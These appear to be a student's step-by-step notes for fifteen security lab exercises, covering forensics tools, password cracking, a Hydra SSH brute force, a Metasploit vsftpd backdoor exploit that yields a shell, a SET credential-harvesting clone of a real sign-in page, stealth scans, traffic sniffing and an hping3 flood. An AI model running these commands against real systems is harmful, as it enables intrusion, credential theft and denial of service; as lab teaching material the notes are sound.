

Exp 1 (Metadata2Go):

Just upload any file in <https://www.metadata2go.com/>

Exp 2 (FTK Imager):

Select File -> Select Add Evidence File -> Choose Logical Drive -> Select C:\ -> Finish
Then you can see for existing files, deleted files etc. Also you can export files by right clicking and saving to desktop and Done.

Exp 3 (Autopsy):

Create Folder named **Evidence** in Desktop also **.E01** file type should be there on Desktop.
Autopsy -> New Case -> Under Case Info give case name random eg 100 and change Base Directory path to new Folder (**Evidence**)-> Next -> Under Optional Info Case No. 100, Name: Param; click Finish -> Add Data Source -> Under Select Host choose Generate new host name based on data source name -> Under Select Data Source Type choose Disk Image or VM File / Local Disk -> Next -> Under Select Data Source change path to **.E01** file type -> Next -> Next -> Finish -> Generate Report -> Next -> Next -> Finish -> Open report and Done.

Exp 4 (Vulnerability Assessment Nessus):

Step 1: Open Nessus or type in web browser localhost:8834.

Step 2: Click New Scan -> Basic Network Scan

Step 3: When asked Name give any name and Targets write "**127.0.0.1**" or "**PC IP**" address and submit.

Step 4: Click Scan Vulnerability or Run whatever and done.

Exp 5 (Password Cracking JTR):

Step 1: In Kali Linux terminal type "**echo -n "hello123" | md5sum**" this will create a hash.

Step 2: Create a new file named "**hash.txt**" and paste the hash value in it and save it.

Step 3: In terminal type "**sudo gzip -d /usr/share/wordlists/rockyou.txt.gz**".

Step 4: In terminal run John The Ripper

"john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt".

Step 5: View Cracked Password "**john --show --format=raw-md5 hash.txt**".

Exp 6 (Brute- Force Hydra):

Step 1: Create a File named "**pass.txt**" in Kali in any location eg Desktop. Inside the file write a few common passwords like **123456; password; kali** etc. Save the file.

Step 2: In terminal "**cd Desktop**" -> "**hydra -V -l kali -P pass.txt 127.0.0.1 ssh**" Done. If hydra not responding then write -> "**sudo systemctl start ssh**". Again write the hydra cmd.

Exp 7 (Privilege Escalation Metasploit):

Step 1: Kali and Meta should be on same network

Step 2: Get IP of target (metasploit) by typing `ifconfig`

Step 3: Check their connection by typing ping and ip address of metasploit in kali

Step 4: In terminal of kali type `nmap -sV TARGET_IP` -> `msfconsole` -> `search vsftpd` -> `use exploit/unix/ftp/vsftpd_234_backdoor` -> `set RHOSTS TARGET_IP` -> `set LHOST Attacker_IP` -> `run` -> `sysinfo` -> `getuid` -> `pwd` -> `ls` -> `shell` -> `whoami` -> `exit` .

Exp 8 (Steghide):

Step 1: 1st download an image and save it as `image.jpg` then create a `SecretText.txt` write anything in the file and keep both on desktop then `cd Desktop`.

Step 2: In terminal type `steghide embed -ef SecretText.txt -cf image.jpg`. You'll get the option to enter a passphrase and write anything eg. 1234.

Step 3: Now extracting what is written 1st delete the `SecretText.txt` file and then in terminal type `steghide extract -sf image.jpg`.

Exp 9 (SET):

In Kali terminal `sudo setoolkit` -> Enter `1` -> Enter `2` -> Enter `3` -> Enter `2` -> Type Kali IP address and press **Enter** -> type website url `https://www.https.in/signin/` or `http://neverssl.com` whichever works-> In web browser paste ur Kali Ip address and press **Enter** . Done.

Exp 10 (Stealth Scanning Nmap):

In Kali terminal `sudo nmap -sT 127.0.0.1` -> `sudo nmap -sS 127.0.0.1` -> `sudo nmap -sS -T2 127.0.0.1` -> `sudo nmap -f 127.0.0.1` -> `sudo nmap -d RND:5 127.0.0.1`

Exp 11 (Session Hijacking Wireshark):

In Kali terminal `sudo wireshark` -> Double click on `eth0` packets will start capturing -> Apply filter `http` and press **Enter** -> Open browser in kali linux and search for `vulnweb` -> Login using default credential like `username: test and pass: test` -> After this stop capturing packets and click on captured packets you'll see the username & pass.

Exp 12 (DOS/DDOS Wireshark):

In Kali terminal `sudo wireshark` -> Double click on `Loopback: lo` packets will start capturing -> Open 1 more terminal in Kali `sudo apt install hping3 -y` -> `sudo ping -f 127.0.0.1` (Use Ctrl + C) -> `sudo hping3 -s --flood -V 127.0.0.1` (Use Ctrl + C) -> Stop packet capturing -> Apply filter `icmp` -> Apply filter `tcp.flags.syn` -> Expand TCP and you'll see different Flags

Exp 13 (Sec Exposures Nmap):

In Kali terminal "*sudo nmap -sn 127.0.0.1*" -> "*sudo nmap -sV 127.0.0.1*" -> "*sudo nmap -O 127.0.0.1*"
-> "*sudo nmap -A 127.0.0.1*" -> "*sudo nmap --script vuln 127.0.0.1*"

Exp 14 (Encryption OpenSSL/ GnuPG):

Using OpenSSL:

In Kali terminal "*nano secret.txt*" In that write any message eg. **This is a secret message.** ->
"*openssl enc -aes-256-cbc -salt -in secret.txt -out secret.enc*" -> "*cat secret.enc*" ->
"*openssl enc -aes-256-cbc -d -in secret.enc -out secret.txt*" -> "*cat secret.txt*"

Using GnuPG:

In Kali terminal "*nano secret.txt*" In that write any message eg. **This is a secret message.** ->
"*gpg -c secret.txt*" -> "*cat secret.txt.gpg*" -> "*gpg --decrypt secret.txt.gpg*"

Exp 15 (Cryptanalysis Hashcat):

In Kali terminal "*echo -n "hello" | md5sum*" You get some nos which is MD5 hash output; copy it and paste it in next cmd instead of ouput" -> "*hashid output*" -> "*echo output > hash.txt*" ->
"*hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt*" -> "*hashcat -m 0 --show hash.txt*".